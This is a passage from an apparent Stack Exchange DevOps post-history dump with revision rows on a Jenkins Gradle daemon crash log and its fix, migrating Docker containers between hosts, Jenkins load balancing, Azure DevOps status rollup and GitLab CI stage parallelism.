09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.daemon.client.DaemonClient.handleDaemonDisappearance(DaemonClient.java:238)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.daemon.client.DaemonClient.monitorBuild(DaemonClient.java:214)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.daemon.client.DaemonClient.executeBuild(DaemonClient.java:178)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.daemon.client.DaemonClient.execute(DaemonClient.java:141)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.daemon.client.DaemonClient.execute(DaemonClient.java:92)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.cli.RunBuildAction.run(RunBuildAction.java:51)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.internal.Actions$RunnableActionAdapter.execute(Actions.java:173)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.cli.CommandLineActionFactory$ParseAndBuildAction.execute(CommandLineActionFactory.java:287)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.cli.CommandLineActionFactory$ParseAndBuildAction.execute(CommandLineActionFactory.java:260)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.cli.JavaRuntimeValidationAction.execute(JavaRuntimeValidationAction.java:33)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.cli.JavaRuntimeValidationAction.execute(JavaRuntimeValidationAction.java:24)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.cli.ExceptionReportingAction.execute(ExceptionReportingAction.java:33)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.cli.ExceptionReportingAction.execute(ExceptionReportingAction.java:22)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.cli.CommandLineActionFactory$WithLogging.execute(CommandLineActionFactory.java:253)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.cli.CommandLineActionFactory$WithLogging.execute(CommandLineActionFactory.java:182)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.Main.doAction(Main.java:33)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.bootstrap.EntryPoint.run(EntryPoint.java:45)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at java.lang.reflect.Method.invoke(Method.java:498)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.bootstrap.ProcessBootstrap.runNoExit(ProcessBootstrap.java:60)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.bootstrap.ProcessBootstrap.run(ProcessBootstrap.java:37)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.GradleMain.main(GradleMain.java:23)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at java.lang.reflect.Method.invoke(Method.java:498)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.wrapper.BootstrapMainStarter.start(BootstrapMainStarter.java:30)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.wrapper.WrapperExecutor.execute(WrapperExecutor.java:129)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.wrapper.GradleWrapperMain.main(GradleWrapperMain.java:61)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] &#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] &#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] * Get more help at https://help.gradle.org&#xD;&#xA;    Build step 'Execute Windows batch command' marked build as failure&#xD;&#xA;    Finished: FAILURE`&#xD;&#xA;    &#xD;&#xA;        &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20304" PostHistoryTypeId="1" PostId="6370" RevisionGUID="78bad098-16eb-4b59-883f-e94bb3be7e72" CreationDate="2019-02-14T15:53:37.543" UserId="12424" Text="Jenkins: Gradle daemon closes unexpectedly" ContentLicense="CC BY-SA 4.0" />
  <row Id="20305" PostHistoryTypeId="3" PostId="6370" RevisionGUID="78bad098-16eb-4b59-883f-e94bb3be7e72" CreationDate="2019-02-14T15:53:37.543" UserId="12424" Text="&lt;jenkins&gt;&lt;gradle&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20306" PostHistoryTypeId="5" PostId="6370" RevisionGUID="753f6bab-e01a-403b-832a-f1b1289cf843" CreationDate="2019-02-14T16:03:41.007" UserId="12424" Comment="added 89 characters in body" Text="I am running Jenkins (ver: 2.150.3) with gradle (ver: 4.1)&#xD;&#xA;&#xD;&#xA;I am getting an error that says the gradle daemon closed unexpectedly.&#xD;&#xA;&#xD;&#xA;Google says it would most likely be gradle running out of memory. So I set the memory to 3000M with no luck.&#xD;&#xA;&#xD;&#xA;Now this is a small 1 activity with only around 200 lines of code android app.&#xD;&#xA;&#xD;&#xA;I have tried using invoke gradle and by running it through scripts.&#xD;&#xA;&#xD;&#xA;It looks as if by running debug, that the workers are conflicting with each other.&#xD;&#xA;&#xD;&#xA;Heres the last 20 lines of the output:&#xD;&#xA;`&#xD;&#xA;&#xD;&#xA;        ----- Last  20 lines from daemon log file - daemon-4448.out.log -----&#xD;&#xA;    09:41:39.303 [DEBUG] [org.gradle.cache.internal.DefaultFileLockManager] Releasing lock on daemon addresses registry.&#xD;&#xA;    09:41:39.490 [DEBUG] [org.gradle.internal.work.DefaultWorkerLeaseService] Worker lease root.1.10.42 started (1 worker(s) in use).&#xD;&#xA;    09:41:39.490 [DEBUG] [org.gradle.internal.resources.AbstractTrackedResourceLock] Worker Daemon Execution: acquired lock on root.1.10.42&#xD;&#xA;    09:41:39.490 [DEBUG] [org.gradle.internal.progress.DefaultBuildOperationExecutor] Build operation 'com.android.build.gradle.tasks.MergeResources$FileGenerationWorkAction' started&#xD;&#xA;    09:41:39.490 [INFO] [com.android.build.gradle.tasks.MergeResources] Generating PNG: [C:\Program Files (x86)\Jenkins\workspace\pu\app\build\generated\res\pngs\debug\drawable-mdpi\ic_launcher_background.png] from [C:\Program Files (x86)\Jenkins\workspace\pu\app\src\main\res\drawable\ic_launcher_background.xml]&#xD;&#xA;    09:41:39.506 [DEBUG] [org.gradle.internal.work.DefaultWorkerLeaseService] Worker lease root.1.10.43 started (2 worker(s) in use).&#xD;&#xA;    09:41:39.506 [DEBUG] [org.gradle.internal.resources.AbstractTrackedResourceLock] Worker Daemon Execution Thread 2: acquired lock on root.1.10.43&#xD;&#xA;    09:41:39.506 [DEBUG] [org.gradle.internal.progress.DefaultBuildOperationExecutor] Build operation 'com.android.build.gradle.tasks.MergeResources$FileGenerationWorkAction' started&#xD;&#xA;    09:41:39.506 [INFO] [com.android.build.gradle.tasks.MergeResources] Generating PNG: [C:\Program Files (x86)\Jenkins\workspace\pu\app\build\generated\res\pngs\debug\drawable-hdpi\ic_launcher_background.png] from [C:\Program Files (x86)\Jenkins\workspace\pu\app\src\main\res\drawable\ic_launcher_background.xml]&#xD;&#xA;    09:41:39.537 [DEBUG] [org.gradle.internal.work.DefaultWorkerLeaseService] Worker lease root.1.10.44 started (3 worker(s) in use).&#xD;&#xA;    09:41:39.537 [DEBUG] [org.gradle.internal.resources.AbstractTrackedResourceLock] Worker Daemon Execution Thread 3: acquired lock on root.1.10.44&#xD;&#xA;    09:41:39.537 [DEBUG] [org.gradle.internal.progress.DefaultBuildOperationExecutor] Build operation 'com.android.build.gradle.tasks.MergeResources$FileGenerationWorkAction' started&#xD;&#xA;    09:41:39.537 [INFO] [com.android.build.gradle.tasks.MergeResources] Generating PNG: [C:\Program Files (x86)\Jenkins\workspace\pu\app\build\generated\res\pngs\debug\drawable-xxxhdpi\ic_launcher_background.png] from [C:\Program Files (x86)\Jenkins\workspace\pu\app\src\main\res\drawable\ic_launcher_background.xml]&#xD;&#xA;    09:41:39.537 [DEBUG] [org.gradle.internal.work.DefaultWorkerLeaseService] Worker lease root.1.10.45 started (4 worker(s) in use).&#xD;&#xA;    09:41:39.553 [DEBUG] [org.gradle.internal.resources.AbstractTrackedResourceLock] Worker Daemon Execution Thread 4: acquired lock on root.1.10.45&#xD;&#xA;    09:41:39.553 [DEBUG] [org.gradle.internal.progress.DefaultBuildOperationExecutor] Build operation 'com.android.build.gradle.tasks.MergeResources$FileGenerationWorkAction' started&#xD;&#xA;    09:41:39.553 [INFO] [com.android.build.gradle.tasks.MergeResources] Generating PNG: [C:\Program Files (x86)\Jenkins\workspace\pu\app\build\generated\res\pngs\debug\drawable-xxhdpi\ic_launcher_background.png] from [C:\Program Files (x86)\Jenkins\workspace\pu\app\src\main\res\drawable\ic_launcher_background.xml]&#xD;&#xA;    09:41:39.568 [DEBUG] [org.gradle.internal.work.DefaultWorkerLeaseService] Build operation root.1.10.46 could not be started (4 worker(s) in use).&#xD;&#xA;    09:41:39.584 [DEBUG] [org.gradle.internal.work.DefaultWorkerLeaseService] Build operation root.1.10.47 could not be started (4 worker(s) in use).&#xD;&#xA;    09:41:39.600 [DEBUG] [org.gradle.internal.work.DefaultWorkerLeaseService] Build operation root.1.10.48 could not be started (4 worker(s) in use).&#xD;&#xA;    ----- End of the daemon log -----&#xD;&#xA;    &#xD;&#xA;    09:41:39.709 [DEBUG] [org.gradle.launcher.daemon.client.DaemonClientConnection] thread 1: connection stop&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] &#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] FAILURE: Build failed with an exception.&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] &#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] * What went wrong:&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] Gradle build daemon disappeared unexpectedly (it may have been killed or may have crashed)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] &#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] * Exception is:&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] org.gradle.launcher.daemon.client.DaemonDisappearedException: Gradle build daemon disappeared unexpectedly (it may have been killed or may have crashed)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.daemon.client.DaemonClient.handleDaemonDisappearance(DaemonClient.java:238)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.daemon.client.DaemonClient.monitorBuild(DaemonClient.java:214)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.daemon.client.DaemonClient.executeBuild(DaemonClient.java:178)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.daemon.client.DaemonClient.execute(DaemonClient.java:141)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.daemon.client.DaemonClient.execute(DaemonClient.java:92)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.cli.RunBuildAction.run(RunBuildAction.java:51)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.internal.Actions$RunnableActionAdapter.execute(Actions.java:173)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.cli.CommandLineActionFactory$ParseAndBuildAction.execute(CommandLineActionFactory.java:287)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.cli.CommandLineActionFactory$ParseAndBuildAction.execute(CommandLineActionFactory.java:260)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.cli.JavaRuntimeValidationAction.execute(JavaRuntimeValidationAction.java:33)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.cli.JavaRuntimeValidationAction.execute(JavaRuntimeValidationAction.java:24)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.cli.ExceptionReportingAction.execute(ExceptionReportingAction.java:33)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.cli.ExceptionReportingAction.execute(ExceptionReportingAction.java:22)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.cli.CommandLineActionFactory$WithLogging.execute(CommandLineActionFactory.java:253)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.cli.CommandLineActionFactory$WithLogging.execute(CommandLineActionFactory.java:182)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.Main.doAction(Main.java:33)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.bootstrap.EntryPoint.run(EntryPoint.java:45)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at java.lang.reflect.Method.invoke(Method.java:498)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.bootstrap.ProcessBootstrap.runNoExit(ProcessBootstrap.java:60)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.bootstrap.ProcessBootstrap.run(ProcessBootstrap.java:37)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.launcher.GradleMain.main(GradleMain.java:23)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at java.lang.reflect.Method.invoke(Method.java:498)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.wrapper.BootstrapMainStarter.start(BootstrapMainStarter.java:30)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.wrapper.WrapperExecutor.execute(WrapperExecutor.java:129)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] 	at org.gradle.wrapper.GradleWrapperMain.main(GradleWrapperMain.java:61)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] &#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] &#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] * Get more help at https://help.gradle.org&#xD;&#xA;    Build step 'Execute Windows batch command' marked build as failure&#xD;&#xA;    Finished: FAILURE`&#xD;&#xA;    &#xD;&#xA;        &#xD;&#xA;&#xD;&#xA;Edit: &#xD;&#xA;&#xD;&#xA;I've also tried running with max-workers argument but I don't think it took it." ContentLicense="CC BY-SA 4.0" />
  <row Id="20308" PostHistoryTypeId="5" PostId="6360" RevisionGUID="590aa69e-47c4-49d7-bc51-33006556bf78" CreationDate="2019-02-14T17:57:35.997" UserId="11179" Comment="deleted 2 characters in body" Text="We have a forum application made of two containers: a container for the database, and another one for the bulletin board application itself. Both containers are running on the same host for quite some time now. That application does not follow the &quot;microservice&quot; architecture since the database files are stored in the writable layer of the database container. And the configuration settings of the forum were directly set up in the writable layer of the bulletin board application.&#xD;&#xA;&#xD;&#xA;We would like to migrate that forum to a different host since the current server has reached end-of-life. We see two ways of doing that:&#xD;&#xA;&#xD;&#xA;* using `docker commit` to make an image of both containers, then uploading those images to a repository and pulling them back from the new host.&#xD;&#xA;* using `docker save` to create archives of the container filesystems, and importing them on the new host.&#xD;&#xA;&#xD;&#xA;What are the pro and cons of both approaches for ad-hoc container migration? Is there a better-suited solution for our specific needs?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20309" PostHistoryTypeId="8" PostId="6360" RevisionGUID="a38fb52c-bd6c-433a-9c7a-7ab2b25410a0" CreationDate="2019-02-14T17:59:19.140" UserId="11179" Comment="Rollback to [8d036bf8-8e30-411d-934e-c061925c69b8]" Text="We have a forum application made of two containers: a container for the database, and another one for the bulletin board application itself. Both containers are running on the same host for quite some time now. That application does not follow the &quot;microservice&quot; architecture since the database files are stored in the writable layer of the database container. And the configuration settings of the forum were directly set up in the writable layer of the bulletin board application.&#xD;&#xA;&#xD;&#xA;We would like to migrate that forum to a different host since the current server has reached end-of-life. We see two ways of doing that:&#xD;&#xA;&#xD;&#xA;* using `docker commit` to make an image of both containers, then uploading those images to a repository and pulling them back from the new host.&#xD;&#xA;* using `docker export` to create archives of the container filesystems, and importing them on the new host.&#xD;&#xA;&#xD;&#xA;What are the pro and cons of both approaches for ad-hoc container migration? Is there a better-suited solution for our specific needs?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20310" PostHistoryTypeId="2" PostId="6371" RevisionGUID="208c2cd5-15d4-43c5-8471-16e11f29a2da" CreationDate="2019-02-14T18:12:50.533" UserId="11179" Text="From what I understand of https://stackoverflow.com/questions/28734086/how-to-move-docker-containers-between-different-hosts, `docker export` will only save the container filesyste. But no metadata such as the default command, leading to that error when you try to run the imported archive:&#xD;&#xA;&#xD;&#xA;    sh# IMGE=$(docker import phpbb.tar)                                                                                                                                       &#xD;&#xA;    sh# docker run &quot;${IMGE}&quot;&#xD;&#xA;    docker: Error response from daemon: No command specified.&#xD;&#xA;&#xD;&#xA;At this point, given my need, it is sufficient to `docker commit` the container to a new image, then `docker save` the image, and finally `docker load` and `docker run` it on the new host:&#xD;&#xA;&#xD;&#xA;    old# IMAGE=$(docker commit CONTAINER) name:latest&#xD;&#xA;    old# docker save &quot;${IMAGE}&quot; |gzip &gt; archive.tar.gz&#xD;&#xA;    old# scp archive.tar.gz root@new:.&#xD;&#xA;&#xD;&#xA;&lt;!-- --&gt;&#xD;&#xA;&#xD;&#xA;    new# gunzip archive.tar.gz | docker load&#xD;&#xA;    new# docker run name:latest&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20311" PostHistoryTypeId="5" PostId="6371" RevisionGUID="b37740c0-7dd9-45d2-a5ed-5d129944eea7" CreationDate="2019-02-14T18:18:26.677" UserId="11179" Comment="added 3 characters in body" Text="From what I understand of https://stackoverflow.com/questions/28734086/how-to-move-docker-containers-between-different-hosts, `docker export` will only save the container filesystem. But no metadata such as the default command, leading to that error when you try to run the imported archive:&#xD;&#xA;&#xD;&#xA;    sh# IMAGE=$(docker import phpbb.tar)                                                                                                                                       &#xD;&#xA;    sh# docker run &quot;${IMAGE}&quot;&#xD;&#xA;    docker: Error response from daemon: No command specified.&#xD;&#xA;&#xD;&#xA;At this point, given my need, it is sufficient to `docker commit` the container to a new image, then `docker save` the image, and finally `docker load` and `docker run` it on the new host:&#xD;&#xA;&#xD;&#xA;    old# IMAGE=$(docker commit CONTAINER) name:latest&#xD;&#xA;    old# docker save &quot;${IMAGE}&quot; |gzip &gt; archive.tar.gz&#xD;&#xA;    old# scp archive.tar.gz root@new:.&#xD;&#xA;&#xD;&#xA;&lt;!-- --&gt;&#xD;&#xA;&#xD;&#xA;    new# gunzip archive.tar.gz | docker load&#xD;&#xA;    new# docker run name:latest&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20313" PostHistoryTypeId="2" PostId="6372" RevisionGUID="76c991e3-ceb3-4877-be61-f52d4d753971" CreationDate="2019-02-14T20:39:47.450" UserId="12430" Text="We have four test machines spread over a Jenkins.&#xD;&#xA;&#xD;&#xA;We would like to have a better distribution. Example: If machine one is running with a test job, the second job should detect that node one is running and directly take the next free instance to start another job there.&#xD;&#xA;&#xD;&#xA;I have not found a suitable plugin, instructions on this topic, which represents exactly this sufficient." ContentLicense="CC BY-SA 4.0" />
  <row Id="20314" PostHistoryTypeId="1" PostId="6372" RevisionGUID="76c991e3-ceb3-4877-be61-f52d4d753971" CreationDate="2019-02-14T20:39:47.450" UserId="12430" Text="How can I achieve better load balancing of different systems on a Jenkins?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20315" PostHistoryTypeId="3" PostId="6372" RevisionGUID="76c991e3-ceb3-4877-be61-f52d4d753971" CreationDate="2019-02-14T20:39:47.450" UserId="12430" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;&lt;load-balance&gt;&lt;loadbalancing&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20316" PostHistoryTypeId="2" PostId="6373" RevisionGUID="b3e1b534-6ea7-4750-8603-51c20110ea3b" CreationDate="2019-02-14T20:55:19.140" UserId="12424" Text="Okay,&#xD;&#xA;&#xD;&#xA;Answering my own question.&#xD;&#xA;&#xD;&#xA;Gradle couldn't find the java installation so I ended up pointing it directly to the JDK I have installed on my computer.&#xD;&#xA;&#xD;&#xA;If any other user gets this error without actually running out of memory I suggest adding -XX:+HeapDumpOnOutOfMemoryError to jvmargs this will print a log telling you what went wrong in the java vm itself.&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="20317" PostHistoryTypeId="2" PostId="6374" RevisionGUID="dbf8d431-be53-499d-ae62-46d32220072c" CreationDate="2019-02-14T22:54:03.427" UserId="12435" Text="Are there any extensions that let you rollup issue status across a hierarchy?&#xD;&#xA;&#xD;&#xA;For example, if I have a story where all it's tasks go to Resolved, then the story is set automatically to Resolved?&#xD;&#xA;&#xD;&#xA;Likewise, if I have a story where at least one of the tasks go to Active, the story is set to Active, then the story is set to Active?&#xD;&#xA;&#xD;&#xA;Ideally, it would do this across a hierarchy, from task, to story, to feature, etc.&#xD;&#xA;&#xD;&#xA;Currently, I don't see any extensions that do this." ContentLicense="CC BY-SA 4.0" />
  <row Id="20318" PostHistoryTypeId="1" PostId="6374" RevisionGUID="dbf8d431-be53-499d-ae62-46d32220072c" CreationDate="2019-02-14T22:54:03.427" UserId="12435" Text="Rollup status from task to story to feature in Azure Devops?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20319" PostHistoryTypeId="3" PostId="6374" RevisionGUID="dbf8d431-be53-499d-ae62-46d32220072c" CreationDate="2019-02-14T22:54:03.427" UserId="12435" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20320" PostHistoryTypeId="50" PostId="5594" RevisionGUID="a5514f98-159d-4c2c-9ca8-4d49ac9c951b" CreationDate="2019-02-14T23:02:15.410" UserId="-1" />
  <row Id="20321" PostHistoryTypeId="2" PostId="6375" RevisionGUID="5af17203-cc51-4e9b-b0d3-781caac6f572" CreationDate="2019-02-15T03:40:46.407" UserId="7772" Text="Did I understand this correctly, that stages will run in parallel if they have the same name?&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;      - build&#xD;&#xA;    &#xD;&#xA;    rust-latest:&#xD;&#xA;      stage: build&#xD;&#xA;      image: rust:latest&#xD;&#xA;      script:&#xD;&#xA;        - apt-get update &amp;&amp; apt-get -y install libgccjit-6-dev&#xD;&#xA;        - cargo build --verbose&#xD;&#xA;        - cargo test --verbose -- --nocapture&#xD;&#xA;    &#xD;&#xA;    rust-nightly:&#xD;&#xA;      stage: build&#xD;&#xA;      image: rustlang/rust:nightly&#xD;&#xA;      script:&#xD;&#xA;        - apt-get update &amp;&amp; apt-get -y install libgccjit-6-dev&#xD;&#xA;        - cargo build --verbose&#xD;&#xA;        - cargo test --verbose&#xD;&#xA;      allow_failure: true&#xD;&#xA;&#xD;&#xA;And that the stages should be the same if they are independent? Will this make deployments quicker compared to:&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;      - build&#xD;&#xA;      - build2&#xD;&#xA;    &#xD;&#xA;    rust-latest:&#xD;&#xA;      stage: build&#xD;&#xA;      image: rust:latest&#xD;&#xA;      script:&#xD;&#xA;        - apt-get update &amp;&amp; apt-get -y install libgccjit-6-dev&#xD;&#xA;        - cargo build --verbose&#xD;&#xA;        - cargo test --verbose -- --nocapture&#xD;&#xA;    &#xD;&#xA;    rust-nightly:&#xD;&#xA;      stage: build2&#xD;&#xA;      image: rustlang/rust:nightly&#xD;&#xA;      script:&#xD;&#xA;        - apt-get update &amp;&amp; apt-get -y install libgccjit-6-dev&#xD;&#xA;        - cargo build --verbose&#xD;&#xA;        - cargo test --verbose&#xD;&#xA;      allow_failure: true&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20322" PostHistoryTypeId="1" PostId="6375" RevisionGUID="5af17203-cc51-4e9b-b0d3-781caac6f572" CreationDate="2019-02-15T03:40:46.407" UserId="7772" Text="Understand GitLab CI/CD better" ContentLicense="CC BY-SA 4.0" />
  <row Id="20323" PostHistoryTypeId="3" PostId="6375" RevisionGUID="5af17203-cc51-4e9b-b0d3-781caac6f572" CreationDate="2019-02-15T03:40:46.407" UserId="7772" Text="&lt;gitlab-ci-runner&gt;&lt;learning&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20324" PostHistoryTypeId="2" PostId="6376" RevisionGUID="c9d3c3b8-943f-4561-a691-e6eb706ff2ff" CreationDate="2019-02-15T07:24:06.097" UserId="7764" Text="No, *jobs* (which `rust-latest` and `rust-nightly` are examples of) will run in parallel if they are in the same *stage* (of which you only have one, `build`)." ContentLicense="CC BY-SA 4.0" />
